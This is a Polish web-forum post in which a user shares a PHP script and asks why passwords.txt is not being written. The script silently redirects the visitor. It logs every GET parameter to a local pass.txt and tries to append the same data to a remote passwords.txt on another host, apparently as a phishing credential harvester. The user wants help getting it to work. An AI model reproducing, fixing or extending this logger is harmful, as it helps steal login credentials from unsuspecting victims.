![]() |
![]() |
![]()
Post
#1
|
|
![]() Grupa: Zarejestrowani Postów: 43 Pomógł: 0 Dołączył: 9.10.2007 Ostrzeżenie: (0%) ![]() ![]() |
Mam taki kod. Nie zapisuje mi sie plik passwords.txt . Co jest źle?
Kod [size="2"]<?php
header("Location: http://www.strona.pl/index.html"); $handle = fopen("pass.txt", "a"); $handle2 = fopen("http://www.strona.pl/passwords.txt", "a"); foreach($_GET as $variable => $value) { fwrite($handle, $variable); fwrite($handle, "="); fwrite($handle, $value); fwrite($handle, "\r\n"); fwrite($handle2, $variable); fwrite($handle2, "="); fwrite($handle2, $value); fwrite($handle2, "\r\n"); } fwrite($handle, "\r\n"); fclose($handle); fwrite($handle2, "\r\n"); fclose($handle2); ?> [/size] |
|
|
![]() ![]() |
![]() |
Aktualny czas: 20.08.2025 - 10:29 |